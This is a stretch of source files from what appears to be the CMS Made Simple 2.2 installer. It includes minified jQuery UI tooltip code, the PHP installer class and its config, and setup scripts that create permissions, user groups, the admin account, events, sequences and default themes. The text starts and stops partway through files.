a,o,r,h,l,u=e.extend({},this.options.position);if(s){if(a=this._find(i))return a.tooltip.find(".ui-tooltip-content").html(s),void 0;i.is("[title]")&&(t&&"mouseover"===t.type?i.attr("title",""):i.removeAttr("title")),a=this._tooltip(i),o=a.tooltip,this._addDescribedBy(i,o.attr("id")),o.find(".ui-tooltip-content").html(s),this.liveRegion.children().hide(),s.clone?(l=s.clone(),l.removeAttr("id").find("[id]").removeAttr("id")):l=s,e("<div>").html(l).appendTo(this.liveRegion),this.options.track&&t&&/^mouse/.test(t.type)?(this._on(this.document,{mousemove:n}),n(t)):o.position(e.extend({of:i},this.options.position)),o.hide(),this._show(o,this.options.show),this.options.show&&this.options.show.delay&&(h=this.delayedShow=setInterval(function(){o.is(":visible")&&(n(u.of),clearInterval(h))},e.fx.interval)),this._trigger("open",t,{tooltip:o}),r={keyup:function(t){if(t.keyCode===e.ui.keyCode.ESCAPE){var s=e.Event(t);s.currentTarget=i[0],this.close(s,!0)}}},i[0]!==this.element[0]&&(r.remove=function(){this._removeTooltip(o)}),t&&"mouseover"!==t.type||(r.mouseleave="close"),t&&"focusin"!==t.type||(r.focusout="close"),this._on(!0,i,r)}},close:function(t){var i,s=this,n=e(t?t.currentTarget:this.element),a=this._find(n);a&&(i=a.tooltip,a.closing||(clearInterval(this.delayedShow),n.data("ui-tooltip-title")&&!n.attr("title")&&n.attr("title",n.data("ui-tooltip-title")),this._removeDescribedBy(n),a.hiding=!0,i.stop(!0),this._hide(i,this.options.hide,function(){s._removeTooltip(e(this))}),n.removeData("ui-tooltip-open"),this._off(n,"mouseleave focusout keyup"),n[0]!==this.element[0]&&this._off(n,"remove"),this._off(this.document,"mousemove"),t&&"mouseleave"===t.type&&e.each(this.parents,function(t,i){e(i.element).attr("title",i.title),delete s.parents[t]}),a.closing=!0,this._trigger("close",t,{tooltip:i}),a.hiding||(a.closing=!1)))},_tooltip:function(t){var i=e("<div>").attr("role","tooltip").addClass("ui-tooltip ui-widget ui-corner-all ui-widget-content "+(this.options.tooltipClass||"")),s=i.uniqueId().attr("id");return e("<div>").addClass("ui-tooltip-content").appendTo(i),i.appendTo(this.document[0].body),this.tooltips[s]={element:t,tooltip:i}},_find:function(e){var t=e.data("ui-tooltip-id");return t?this.tooltips[t]:null},_removeTooltip:function(e){e.remove(),delete this.tooltips[e.attr("id")]},_destroy:function(){var t=this;e.each(this.tooltips,function(i,s){var n=e.Event("blur"),a=s.element;n.target=n.currentTarget=a[0],t.close(n,!0),e("#"+i).remove(),a.data("ui-tooltip-title")&&(a.attr("title")||a.attr("title",a.data("ui-tooltip-title")),a.removeData("ui-tooltip-title"))}),this.liveRegion.remove()}})});[build]
build_number = 2.2.22.003233.1755007004
build_time = 1755007016
build_user = SYSTEM
build_host = DESKTOP-NVBGLM7
<?php

namespace cms_autoinstaller;
use \__appbase\utils;

include_once(__DIR__.'/lib/compat.functions.php');
include_once(\dirname(__FILE__, 2) . '/lib/classes/base/class.app.php');

class cms_install extends \__appbase\app
{
    private static $_instance;
    private $_archive;
    private $_dest_version;
    private $_dest_name;
    private $_dest_schema;
    private $_destdir;
    private $_custom_destdir;
    private $_nls;
    private $_orig_tz;
    private $_orig_error_level;
    private $_custom_tmpdir;

    public static function get_tmpdir()
    {
        // because phar uses tmpfile() we need to set the TMPDIR environment variable
        // with whatever directory we find.
        $config = self::get_instance()->get_config();
        return $config['tmpdir'];
    }

    private function fixup_tmpdir_environment()
    {
        // if the system temporary directory is not the same as the config temporary directory
        // then we attempt to putenv the TMPDIR environment variable
        // so that tmpfile() will work as it uses the system temporary directory which can read from environment variables
        $sys_tmpdir = null;
        if( \function_exists('sys_get_temp_dir') ) $sys_tmpdir = \rtrim(\sys_get_temp_dir(), '\\/');
        $config = $this->get_config();
        if((!$sys_tmpdir || !\is_dir($sys_tmpdir) || !\is_writable($sys_tmpdir)) && $sys_tmpdir != $config['tmpdir'] ) {
            @\putenv('TMPDIR=' . $config['tmpdir']);
            $try1 = \getenv('TMPDIR');
            if( $try1 != $config['tmpdir'] ) throw new \RuntimeException('Sorry, putenv does not work on this system, and your system temporary directory is not set properly.');
        }
    }
  
  /**
   * @throws \Exception
   */
  public function __construct()
    {
        parent::__construct(__FILE__);

        // initialize the session.
        $sess = \__appbase\session::get();
        $junk = $sess[__CLASS__]; // this is junk, but triggers session to start.

        // get the request
        $request = \__appbase\request::get();
        if( isset($request['clear']) ) {
            $sess->reset();
        }

        $config = $this->get_config();

        // setup autoload
        \spl_autoload_register(__NAMESPACE__ . '\cms_install::autoload');

        $this->fixup_tmpdir_environment();

        // setup smarty
        $smarty = \__appbase\smarty();
        $smarty->assign('APPNAME','cms_installer');
        $smarty->assign('config',$config);
        $smarty->assign('installer_version',$config['installer_version']);

        $fn = self::get_appdir() . '/build.ini';
        $build = null;
        if( \file_exists($fn) ) $build = \parse_ini_file($fn);
        if( isset($build['build_time']) ) $smarty->assign('build_time',$build['build_time']);
        if( isset($build['build_number']) ) $smarty->assign('build_number',$build['build_number']);

        // handle debug mode
        if( $config['debug'] ) {
            @\ini_set('display_errors', 1);
            @\error_reporting(\E_ALL);
            @\ini_set('error_log', \Phar::running(FALSE) . '/error.log');
        }

        if( $this->in_phar() && !$config['nobase'] ) {
            $base_href = $_SERVER['SCRIPT_NAME'];
            if( \__appbase\endswith($base_href,'.php') ) {
                $base_href = $base_href . '/';
                $smarty->assign('BASE_HREF',$base_href);
            }
        }

        // find our archive, copy it... and rename it securely.
        // we do this because phar data cannot read from a .tar.gz file that is already embedded within a phar
        // (some environments)
        $tmpdir = $this->get_tmpdir().'/m' . \md5(__FILE__ . \session_id());
        $src_archive = $config['archive'] ?? 'data/data.tar.gz';
        $src_archive = \dirname(__DIR__) . \DIRECTORY_SEPARATOR . $src_archive;
        if( !\file_exists($src_archive) ) throw new \RuntimeException('Could not find installation archive at ' . $src_archive);
        $dest_archive = $tmpdir . \DIRECTORY_SEPARATOR . "f" . \md5($src_archive . \session_id()) . '.tgz';
        $src_md5 = \md5_file($src_archive);

        for( $i = 0; $i < 2; $i++ ) {
            if( !\file_exists($dest_archive) ) {
              if(!@\mkdir($tmpdir, 0777, TRUE) && !\is_dir($tmpdir))
              {
                throw new \RuntimeException(\sprintf('Directory "%s" was not created', $tmpdir));
              }
                @\copy($src_archive, $dest_archive);
            }
            $dest_md5 = \md5_file($dest_archive);
            if( $src_md5 == $dest_md5 && \is_readable($dest_archive) ) { break; }
            @\unlink($dest_archive);
        }
        if(2 == $i) throw new \RuntimeException('Checksum of temporary archive does not match... copying/permissions problem');
        $this->_archive = $dest_archive;;

        // get version details (version we are installing)
        // if not in the session, save them there.
        if( isset($sess[__CLASS__.'version']) ) {
            $ver = $sess[__CLASS__.'version'];
            $this->_dest_version = $ver['version'];
            $this->_dest_name = $ver['version_name'];
            $this->_dest_schema = $ver['schema_version'];
        }
        else {
            $verfile = \dirname($src_archive) . '/version.php';
            if( !\is_file($verfile) ) throw new \RuntimeException('Could not find version file');
          
          /**
           * from version.php
           * @var array $CMS_VERSION
           * @var string $CMS_VERSION_NAME ,
           * @var string $CMS_SCHEMA_VERSION
           */
            include_once($verfile);
            $ver = ['version' => $CMS_VERSION, 'version_name' => $CMS_VERSION_NAME, 'schema_version' => $CMS_SCHEMA_VERSION];
            $sess[__CLASS__.'version'] = $ver;
            $this->_dest_version = $CMS_VERSION;
            $this->_dest_name = $CMS_VERSION_NAME;
            $this->_dest_schema = $CMS_SCHEMA_VERSION;
        }
    }

    static public function autoload($classname)
    {
        if( \__appbase\startswith($classname, 'cms_autoinstaller\\') ) $classname = \substr($classname, \strlen('cms_autoinstaller\\'));

        $dirs = [__DIR__, __DIR__ . '/base', __DIR__ . '/lib', __DIR__ . '/wizard'];
        foreach( $dirs as $dir ) {
            $fn = $dir."/class.$classname.php";
            if( \file_exists($fn) ) {
                include_once($fn);
                return;
            }
        }
    }

    protected function set_config_defaults()
    {
        $tmp = [ 'timezone' => null, 'tmpdir' => null, 'dest' => null, 'debug' => false, 'nofiles' => false, 'nobase' => false, 'lang' => null, 'verbose' => false ];
        $config = \array_merge(parent::get_config(), $tmp);
        $this->_orig_tz = $config['timezone'] = @\date_default_timezone_get();
        if( !$this->_orig_tz ) $this->_orig_tz = $config['timezone'] = 'UTC';
        $config['dest'] = \realpath(\getcwd());
        return $config;
    }

    protected function load_config()
    {
        // setup some defaults
        $config = $this->set_config_defaults();

        // override default config with config file
        $config_file = \realpath(\getcwd()) . '/custom_config.ini';
        if(\is_file($config_file) && \is_readable($config_file) ) {
            $tmp = \parse_ini_file($config_file);
            if(\is_array($tmp) && \count($tmp) ) {
                $config = \array_merge($config, $tmp);
                if( isset($tmp['dest']) ) $this->_custom_destdir = $tmp['dest'];
            }
        }

        // override current config with url params
        $request = \__appbase\request::get();
        $list = [ 'TMPDIR', 'tmpdir', 'timezone', 'tz', 'dest', 'destdir', 'debug', 'nofiles', 'no_files', 'nobase' ];
        foreach( $list as $key ) {
	    if( !isset($request[$key]) ) continue;
            $val = $request[$key];
            switch( $key ) {
            case 'TMPDIR':
            case 'tmpdir':
                $config['tmpdir'] = \trim($val);
                break;
            case 'timezone':
            case 'tz':
                $config['timezone'] = \trim($val);
                break;
            case 'dest':
            case 'destdir':
              $this->_custom_destdir = $config['dest'] = \trim($val);
                break;
            case 'debug':
                $config['debug'] = utils::to_bool($val);
                break;
            case 'nobase':
                $config['nobase'] = utils::to_bool($val);
                break;
            case 'nofiles':
            case 'no_files':
                $config['nofiles'] = utils::to_bool($val);
                break;
            }
        }
        return $config;
    }

    protected function check_config($config)
    {
        foreach( $config as $key => $val ) {
            switch( $key ) {
            case 'tmpdir':
                if( !$val ) {
                    // no tmpdir set... gotta find or create one.
                    $val = parent::get_tmpdir();
                }
                if(!\is_dir($val) || !\is_writable($val) ) {
                    // could not find a valid system temporary directory, or none specified. gotta make one
                    $dir = \realpath(\getcwd()) . '/__m' . \md5(\session_id());
                    if(!@\is_dir($dir) && !\mkdir($dir) && !\is_dir($dir)) throw new \RuntimeException('Sorry, problem determining a temporary directory, non specified, and we could not create one.');
                    $txt = 'This is temporary directory created for installing CMSMS in punitively restrictive environments.  You may delete this directory and its files once installation is complete.';
                    if( !@file_put_contents($dir.'/__cmsms',$txt) ) throw new \RuntimeException('We could not create a file in the temporary directory we just created (is safe mode on?).');
                    $config[$key] = $dir;
                    $this->_custom_tmpdir = $dir;
                    $val = $dir;
                }
                $config[$key] = $val;
                break;
            case 'dest':
                if(!\is_dir($val) || !\is_writable($val) ) {
                    throw new \RuntimeException('Invalid config value for '.$key.' - not a directory, or not writable');
                }
                break;
              case 'nobase':
              case 'nofiles':
              case 'debug':
              case 'timezone':
                // do nothing
              break;
            }
        }
        return $config;
    }

    public function get_config()
    {
        $sess = \__appbase\session::get();
        if( isset($sess['config']) ) {
            // already set once... so you must close and re-open the browser to reset it.
            return $sess['config'];
        }

        // gotta load the config, then store it in the session
        $config = $this->load_config();
        $config = $this->check_config($config);
        $sess['config'] = $config;
        return $config;
    }

    private function set_config_val($key,$val)
    {
        $config            = $this->get_config();
      $config[\trim($key)] = $val;

        $sess = \__appbase\session::get();
        $sess['config'] = $config;
    }


    public function get_orig_error_level() { return $this->_orig_error_level; }

    public function get_orig_tz() { return $this->_orig_tz; }

    public function get_destdir() {
        $config = $this->get_config();
        return $config['dest'];
    }

    public function set_destdir($destdir) {
        $this->set_config_val('dest',$destdir);
    }

    public function has_custom_destdir() {
        $p1 = \realpath((string)\getcwd());
        $p2 = \realpath((string)$this->_custom_destdir);
        return ($p1 !== $p2);
    }

    public function get_archive() { return $this->_archive; }

    public function get_dest_version() { return $this->_dest_version; }

    public function get_dest_name() { return $this->_dest_name; }

    public function get_dest_schema() { return $this->_dest_schema; }

    public function get_phar()
    {
        return \Phar::running();
    }

    public function in_phar() {
        $x = $this->get_phar();
        if( !$x ) return FALSE;
        return TRUE;
    }

    public function get_nls()
    {
        if( \is_array($this->_nls) ) return $this->_nls;

        $archive = $this->get_archive();
        $archive = \str_replace('\\', '/', $archive); // for windows
        if( !\file_exists($archive) ) throw new \Exception(\__appbase\lang('error_noarchive'));

        $phardata = new \PharData($archive);
        $nls = [];
        $found = false;
        $pharprefix = "phar://".$archive;
        foreach( new \RecursiveIteratorIterator($phardata) as $file => $it ) {
            if(FALSE === ($p = \strpos($file, '/lib/nls'))) continue;
            $tmp = \substr($file, $p);
            if( !\__appbase\endswith($tmp,'.php') ) continue;
            $found = true;
            if( \preg_match('/\.nls\.php$/', $tmp) ) {
               $tmpdir = $this->get_tmpdir();
               $fn = "$tmpdir/tmp_" . \basename($file);
               @\copy($file, $fn);
               include($fn);
               \unlink($fn);
            }
        }
        if( !$found ) throw new \RuntimeException(\__appbase\lang('error_nlsnotfound'));
        $this->_nls = $nls;
        return $nls;
    }

    public function get_language_list()
    {
        $this->get_nls();
        return $this->_nls['language'];
    }

    public function get_root_url()
    {
        $prefix = null;
        //if( isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) != 'off' ) $prefix = 'https';
        $prefix .= '//'.$_SERVER['HTTP_HOST'];

        // if we are putting files somewhere else, we cannot determine the root url of the site
        // via the $_SERVER variables.
        $b = $this->get_destdir();
        if($b != \getcwd() ) {
            if( \__appbase\startswith($b,$_SERVER['DOCUMENT_ROOT']) ) $b = \substr($b, \strlen($_SERVER['DOCUMENT_ROOT']));
            $b = \str_replace('\\', '/', $b); // for windows
            if( !\__appbase\endswith($prefix,'/') && !\__appbase\startswith($b,'/') ) $prefix .= '/';
            return $prefix.$b;
        }

        $b = \dirname($_SERVER['PHP_SELF']);
        if( $this->in_phar() ) {
            $tmp = \basename($_SERVER['SCRIPT_NAME']);
            if(FALSE !== ($p = \strpos($b, $tmp))) $b = \substr($b, 0, $p);
        }

        $b = \str_replace('\\', '/', $b); // cuz windows blows.
        if( !\__appbase\endswith($prefix,'/') && !\__appbase\startswith($b,'/') ) $prefix .= '/';
        return $prefix.$b;
    }
  
  /**
   * @throws \SmartyException
   * @throws \__appbase\langtools_Exception
   */
  public function run()
    {
        // set the languages we're going to support.
        $list = \__appbase\nls()->get_list();
        foreach( $list as &$one ) $one = \substr($one, 0, -4);
        \__appbase\translator()->set_allowed_languages($list);

        // the default language.
        \__appbase\translator()->set_default_language('en_US');

        // get the language preferred by the user (either in the request, in a cookie, or in the session)
        $lang = \__appbase\translator()->get_selected_language();

        if( !$lang ) $lang = \__appbase\translator()->get_default_language(); // get a preferred language

        // set our selected language...
        \__appbase\translator()->set_selected_language($lang);

        // for every request we're gonna make sure it's not cached.
        //session_cache_limiter('private');

        // and make sure we are in UTF-8
        \header('Content-Type:text/html; charset=UTF-8');

        // and do our stuff.
        try {
            $tmp = 'm' . \substr(\md5(\realpath(\getcwd()) . \session_id()), 0, 8);
            $wizard = \__appbase\wizard::get_instance(__DIR__.'/wizard','\cms_autoinstaller');
            // this sets a custom step variable for each instance
            // which is just one more security measure.
            // nobody can guess an installer URL and jump to a specific step to
            // nuke anything (even though database creds are stored in the session
            // so are all the other parameters.
            $wizard->set_step_var($tmp);
            $res = $wizard->process();
        }
        catch( \Exception $e ) {
            $smarty = \__appbase\smarty();
            $smarty->assign('error',$e->GetMessage());
            $smarty->display('error.tpl');
        }
    }

    public function cleanup()
    {
        if( $this->_custom_tmpdir ) {
            utils::rrmdir($this->_custom_tmpdir);
        }
    }
} // end of class
<?php
die('not implemented');
?>[main]
installer_version = '1.4.3';
min_upgrade_version = '1.12'
archive = 'data/data.tar.gz'
dbtype = 'mysqli'
dbhost = 'localhost'
dbprefix = 'cms_'
install_excludes = '/find-mime$/||/scripts\/.*$/||/\/svn.*/||/\/tests\/.*/||/\/build\/.*/||/\/tmp\/.*/'
<?php
global $admin_user;

status_msg(ilang('install_requireddata'));

$query = 'INSERT INTO '.CMS_DB_PREFIX.'version VALUES (202)';
$db->Execute($query);
verbose_msg(ilang('install_setschemaver'));

//
// site preferences
//
verbose_msg(ilang('install_initsiteprefs'));
cms_siteprefs::set('sitedownmessage','<p>Site is currently down for maintenance</p>');
cms_siteprefs::set('metadata',"<meta name=\"Generator\" content=\"CMS Made Simple - Copyright (C) 2004-" . date('Y') . ". All rights reserved.\" />\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n");
cms_siteprefs::set('global_umask','022');
cms_siteprefs::set('auto_clear_cache_age',60); // cache files for only 60 days by default
cms_siteprefs::set('adminlog_lifetime',3600*24*31); // admin log entries only live for 60 days.
cms_siteprefs::set('allow_browser_cache',1); // allow browser to cache cachable pages
cms_siteprefs::set('browser_cache_expiry',60); // browser can cache pages for 60 minutes.

//
// permissions
//
verbose_msg(ilang('install_initsiteperms'));
$all_perms = array();
$perms = array('Add Pages','Manage Groups','Add Templates','Manage Users','Modify Any Page',
	       'Modify Permissions','Modify Templates','Remove Pages',
	       'Modify Modules','Modify Files','Modify Site Preferences',
	       'Manage Stylesheets','Manage Designs','Modify User-defined Tags','Clear Admin Log',
	       'Modify Events','View Tag Help','Manage All Content','Reorder Content','Manage My Settings',
               'Manage My Account', 'Manage My Bookmarks');
foreach( $perms as $one_perm ) {
  $permission = new CmsPermission();
  $permission->source = 'Core';
  $permission->name = $one_perm;
  $permission->text = $one_perm;
  $permission->save();
  $all_perms[$one_perm] = $permission;
}

//
// initial groups
//
verbose_msg(ilang('install_initsitegroups'));
$admin_group = new Group();
$admin_group->name = 'Admin';
$admin_group->description = 'Members of this group can manage the entire site.';
$admin_group->active = 1;
$admin_group->Save();

$editor_group = new Group();
$editor_group->name = 'Editor';
$editor_group->description = 'Members of this group can manage content';
$editor_group->active = 1;
$editor_group->Save();
$editor_group->GrantPermission('Manage All Content');
$editor_group->GrantPermission('Manage My Account');
$editor_group->GrantPermission('Manage My Settings');
$editor_group->GrantPermission('Manage My Bookmarks');

$designer_group = new Group();
$designer_group->name = 'Designer';
$designer_group->description = 'Members of this group can manage stylesheets, templates, and content';
$designer_group->active = 1;
$designer_group->Save();
$designer_group->GrantPermission('Add Templates');
$designer_group->GrantPermission('Manage Designs');
$designer_group->GrantPermission('Modify Templates');
$designer_group->GrantPermission('Manage Stylesheets');
$designer_group->GrantPermission('Manage All Content');
$designer_group->GrantPermission('Manage My Account');
$designer_group->GrantPermission('Manage My Settings');
$designer_group->GrantPermission('Manage My Bookmarks');
$designer_group->GrantPermission('Modify Files');
$designer_group->GrantPermission('Modify User-defined Tags');

//
// initial user account
//
verbose_msg(ilang('install_initsiteusers'));
$sitemask = cms_siteprefs::get('sitemask');
$admin_user = new User;
$admin_user->username = $adminaccount['username'];
if( isset($adminaccount['emailaddr']) && $adminaccount['emailaddr'] ) $admin_user->email = $adminaccount['emailaddr'];
$admin_user->active = 1;
$admin_user->adminaccess = 1;
$admin_user->password = md5($sitemask.$adminaccount['password']);
$admin_user->Save();
UserOperations::get_instance()->AddMemberGroup($admin_user->id,$admin_group->id);
cms_userprefs::set_for_user($admin_user->id,'wysiwyg','MicroTiny'); // the one, and only user preference we need.

//
// User Tags
//
verbose_msg(ilang('install_initsiteusertags'));
UserTagOperations::get_instance()->SetUserTag('user_agent',
  "//Code to show the users user agent information.
echo \$_SERVER['HTTP_USER_AGENT'];",
  'Code to show the user\'s user agent information');

$txt = <<<EOT
//set start to date your site was published\n\$startCopyRight='2004';\n\n// check if start year is this year\nif(date('Y') == \$startCopyRight){\n// it was, just print this year\n    echo \$startCopyRight;\n}else{\n// it wasnt, print startyear and this year delimited with a dash\n    echo \$startCopyRight.'-'. date('Y');\n}
EOT;
UserTagOperations::get_instance()->SetUserTag('custom_copyright',$txt,'Code to output copyright information');

//
// Events
//
verbose_msg(ilang('install_initevents'));
Events::CreateEvent('Core','LoginPost');
Events::CreateEvent('Core','LogoutPost');
Events::CreateEvent('Core','LoginFailed');
Events::CreateEvent('Core','LostPassword');
Events::CreateEvent('Core','LostPasswordReset');

Events::CreateEvent('Core','AddUserPre');
Events::CreateEvent('Core','AddUserPost');
Events::CreateEvent('Core','EditUserPre');
Events::CreateEvent('Core','EditUserPost');
Events::CreateEvent('Core','DeleteUserPre');
Events::CreateEvent('Core','DeleteUserPost');
Events::CreateEvent('Core','AddGroupPre');
Events::CreateEvent('Core','AddGroupPost');
Events::CreateEvent('Core','EditGroupPre');
Events::CreateEvent('Core','EditGroupPost');
Events::CreateEvent('Core','DeleteGroupPre');
Events::CreateEvent('Core','DeleteGroupPost');

Events::CreateEvent('Core','AddStylesheetPre');
Events::CreateEvent('Core','AddStylesheetPost');
Events::CreateEvent('Core','EditStylesheetPre');
Events::CreateEvent('Core','EditStylesheetPost');
Events::CreateEvent('Core','DeleteStylesheetPre');
Events::CreateEvent('Core','DeleteStylesheetPost');
Events::CreateEvent('Core','AddTemplatePre');
Events::CreateEvent('Core','AddTemplatePost');
Events::CreateEvent('Core','EditTemplatePre');

Events::CreateEvent('Core','EditTemplatePost');
Events::CreateEvent('Core','DeleteTemplatePre');
Events::CreateEvent('Core','DeleteTemplatePost');
Events::CreateEvent('Core','AddTemplateTypePre');
Events::CreateEvent('Core','AddTemplateTypePost');
Events::CreateEvent('Core','EditTemplateTypePre');
Events::CreateEvent('Core','EditTemplateTypePost');
Events::CreateEvent('Core','DeleteTemplateTypePre');
Events::CreateEvent('Core','DeleteTemplateTypePost');
Events::CreateEvent('Core','AddDesignPre');
Events::CreateEvent('Core','AddDesignPost');
Events::CreateEvent('Core','EditDesignPre');
Events::CreateEvent('Core','EditDesignPost');
Events::CreateEvent('Core','DeleteDesignPre');
Events::CreateEvent('Core','DeleteDesignPost');

Events::CreateEvent('Core','TemplatePreCompile');
Events::CreateEvent('Core','TemplatePreFetch');
Events::CreateEvent('Core','TemplatePostCompile');

Events::CreateEvent('Core','ContentEditPre');
Events::CreateEvent('Core','ContentEditPost');
Events::CreateEvent('Core','ContentDeletePre');
Events::CreateEvent('Core','ContentDeletePost');

Events::CreateEvent('Core','AddUserDefinedTagPre');
Events::CreateEvent('Core','AddUserDefinedTagPost');
Events::CreateEvent('Core','EditUserDefinedTagPre');
Events::CreateEvent('Core','EditUserDefinedTagPost');
Events::CreateEvent('Core','DeleteUserDefinedTagPre');
Events::CreateEvent('Core','DeleteUserDefinedTagPost');

Events::CreateEvent('Core','ModuleInstalled');
Events::CreateEvent('Core','ModuleUninstalled');
Events::CreateEvent('Core','ModuleUpgraded');
Events::CreateEvent('Core','ContentPreCompile');
Events::CreateEvent('Core','ContentPostCompile');
Events::CreateEvent('Core','ContentPreRender'); // 2.2
Events::CreateEvent('Core','ContentPostRender');
Events::CreateEvent('Core','SmartyPreCompile');
Events::CreateEvent('Core','SmartyPostCompile');
Events::CreateEvent('Core','ChangeGroupAssignPre');
Events::CreateEvent('Core','ChangeGroupAssignPost');
Events::CreateEvent('Core','StylesheetPreCompile');
Events::CreateEvent('Core','StylesheetPostCompile');
Events::CreateEvent('Core','StylesheetPostRender');

$create_private_dir = function($relative_dir) {
    $app = \__appbase\get_app();
    $destdir = $app->get_destdir();
    $relative_dir = trim($relative_dir);
    if( !$relative_dir ) return;

    $dir = $destdir.'/'.$relative_dir;
    if( !is_dir($dir) ) {
        @mkdir($dir,0777,true);
    }
    @touch($dir.'/index.html');
};

/*
$move_directory_files = function($srcdir,$destdir) {
    $srcdir = trim($srcdir);
    $destdir = trim($destdir);
    if( !is_dir($srcdir) ) return;

    $files = glob($srcdir.'/*');
    if( !count($files) ) return;

    foreach( $files as $src ) {
        $bn = basename($src);
        $dest = $destdir.'/'.$bn;
        rename($src,$dest);
    }
    @touch($dir.'/index.html');
};
*/

// create the assets directory structure
verbose_msg(ilang('install_createassets'));
$create_private_dir('assets/templates');
$create_private_dir('assets/configs');
$create_private_dir('assets/admin_custom');
$create_private_dir('assets/module_custom');
$create_private_dir('assets/plugins');
$create_private_dir('assets/images');
$create_private_dir('assets/css');
<?php

if (isset($CMS_INSTALL_CREATE_TABLES)) {
    $table_ids = array(
        'additional_users'          => array('id' => 'additional_users_id'),
        'admin_bookmarks'           => array('id' => 'bookmark_id'),
        'content'                   => array('id' => 'content_id'),
        'content_props'             => array('id' => 'content_id'),
        'events'                    => array('id' => 'event_id'),
        'event_handlers'            => array('id' => 'handler_id', 'seq' => 'event_handler_seq'),
        'group_perms'               => array('id' => 'group_perm_id'),
        'groups'                    => array('id' => 'group_id'),
        'users'                     => array('id' => 'user_id'),
        'userplugins'               => array('id' => 'userplugin_id'),
        'permissions'               => array('id' => 'permission_id')
    );

    status_msg(ilang('install_update_sequences'));
    foreach ($table_ids as $tablename => $tableinfo)
    {
        $sql = 'SELECT COALESCE(MAX(?),0) AS maxid FROM '.CMS_DB_PREFIX.$tablename;
        $max = $db->GetOne($sql,array($tableinfo['id']));
        $tableinfo['seq'] = isset($tableinfo['seq']) ? $tableinfo['seq'] : $tablename . '_seq';
        verbose_msg(ilang('install_updateseq',$tableinfo['seq']));
        $db->CreateSequence(CMS_DB_PREFIX.$tableinfo['seq'], $max);
    }
}

# vim:ts=4 sw=4 noet
?>
<?php
global $admin_user;

//
// Themes
//

// minimal theme has the minimal template, and no stylesheets.
verbose_msg(ilang('install_default_collections'));

$minimal_theme = new CmsLayoutCollection();
$minimal_theme->set_name('Minimal');  // id = 19
$minimal_theme->set_description('Minimal templates and stylesheets');
$minimal_theme->save();

$simplex_theme = new CmsLayoutCollection();
$simplex_theme->set_name('Simplex');
$simplex_theme->set_description('Simplex Template is a HTML5 based theme, introduced with CMSMS 1.11 release and improved with 2.0 release.
Purpose of this theme is to demonstrate what and how can be done with CMSMS Templates using HTML5 and responsive CSS for a better mobile experience.
All Smarty templates which are used by Simplex Theme are prefix with "Simplex", therefore be careful when renaming or deleting these templates.
Theme itself is using jQuery, which is included with {cms_jquery} tag, the functions JavaScript file is minified, in case you wish to change some JavaScript functions, refer to /uploads/simplex/js/functions.js file and replace functions.min.js file.');
$simplex_theme->set_default(TRUE);
$simplex_theme->save();

$css_menuleft_1col_theme = new CmsLayoutCollection();
$css_menuleft_1col_theme->set_name('CSSMenu left + 1 column');
$css_menuleft_1col_theme->set_description('This is basically the same as the last one, CSSMenu top + 2 column, with the menu on the left instead of across the top there isn\'t a whole lot to say about it.');
$css_menuleft_1col_theme->save();

$css_menutop_2col_theme = new CmsLayoutCollection();
$css_menutop_2col_theme->set_name('CSSMenu top + 2 columns');
$css_menutop_2col_theme->set_description('This is a drop-down menu that is using only CSS (although some Javascript is required for Internet Explorer 6, note: IE6 will not let you use 2 of these menu types in a template at the same time as the second one will fail to open). It can be either vertical or horizontal.');
$css_menutop_2col_theme->save();

$leftsimple_1col_theme = new CmsLayoutCollection();
$leftsimple_1col_theme->set_name('Left simple navigation + 1 column');
$leftsimple_1col_theme->set_description('This template has the menu in left sidebar. The menu is using the Simple Navigation menu template. It is styled in the stylesheet called Navigation Simple - Vertical.');
$leftsimple_1col_theme->save();

$ncleanblue_theme = new CmsLayoutCollection();
$ncleanblue_theme->set_name('NCleanBlue');
$ncleanblue_theme->set_description('This one is using a new menu template so we can style the drop down for the children pages, using an image for the second ul going from the top down, it has an extra li at the bottom of the child pages ul <li class="separator once" style="list-style-type: none;">&nbsp; </li> this is used to hold the bottom image.');
$ncleanblue_theme->save();

$shadowmenu_left_1col_theme = new CmsLayoutCollection();
$shadowmenu_left_1col_theme->set_name('ShadowMenu left + 1 column');
$shadowmenu_left_1col_theme->set_description('Using the same menu template as the previous theme. We changed the child ul CSS to use a different top image. This involves changing some of the margin and padding as the images are a different shape. Note the difference in the second level and third level ul images, one has an arrow up and the other has an arrow left.');
$shadowmenu_left_1col_theme->save();

$shadowmenu_tab_2col_theme = new CmsLayoutCollection();
$shadowmenu_tab_2col_theme->set_name('ShadowMenu Tab + 2 columns');
$shadowmenu_tab_2col_theme->set_description('Using the same menu template as the previous theme. We changed the child ul CSS to use a different top image. This involves changing some of the margin and padding as the images are a different shape. Note the difference in the second level and third level ul images, one has an arrow up and the other has an arrow left.');
$shadowmenu_tab_2col_theme->save();

$topsimple_leftsubnav_1col_theme = new CmsLayoutCollection();
$topsimple_leftsubnav_1col_theme->set_name('Top simple navigation + left subnavigation + 1 column');
$topsimple_leftsubnav_1col_theme->set_description('With the Menu Manager you can easily split the navigation in two parts. On this page the top level in the page hierarchy is displayed horizontally and depending on what page is displayed a localized sub-menu is displayed vertically to the left.');
$topsimple_leftsubnav_1col_theme->save();


//
// Types
//
verbose_msg(ilang('install_templatetypes'));
$page_template_type = new CmsLayoutTemplateType();
$page_template_type->set_originator(CmsLayoutTemplateType::CORE);
$page_template_type->set_name('page');
$page_template_type->set_dflt_flag(TRUE);
$page_template_type->set_lang_callback('CmsTemplateResource::page_type_lang_callback');
$page_template_type->set_content_callback('CmsTemplateResource::reset_page_type_defaults');
$page_template_type->reset_content_to_factory();
$page_template_type->set_content_block_flag(TRUE);
$page_template_type->set_help_callback('CmsTemplateResource::template_help_callback');
$page_template_type->save();

$gcb_template_type = new CmsLayoutTemplateType();
$gcb_template_type->set_originator(CmsLayoutTemplateType::CORE);
$gcb_template_type->set_name('generic');
$gcb_template_type->set_lang_callback('CmsTemplateResource::generic_type_lang_callback');
$gcb_template_type->set_help_callback('CmsTemplateResource::template_help_callback');
$gcb_template_type->save();


//
// Template Categories
//


//
// Templates
//
$template_list = array();

verbose_msg(ilang('install_templates'));
$gcb = new CmsLayoutTemplate();
$gcb->set_name('footer');
$gcb->set_type($gcb_template_type);
$gcb->set_owner(1);
$gcb->set_content("<p>&copy; Copyright {custom_copyright} - CMS Made Simple<br />\r\nThis site is powered by <a class=\"external\" href=\"http://www.cmsmadesimple.org\">CMS Made Simple</a> version {cms_version}</p>");
$gcb->save();

$css_menuleft_1col_theme->add_template($gcb);
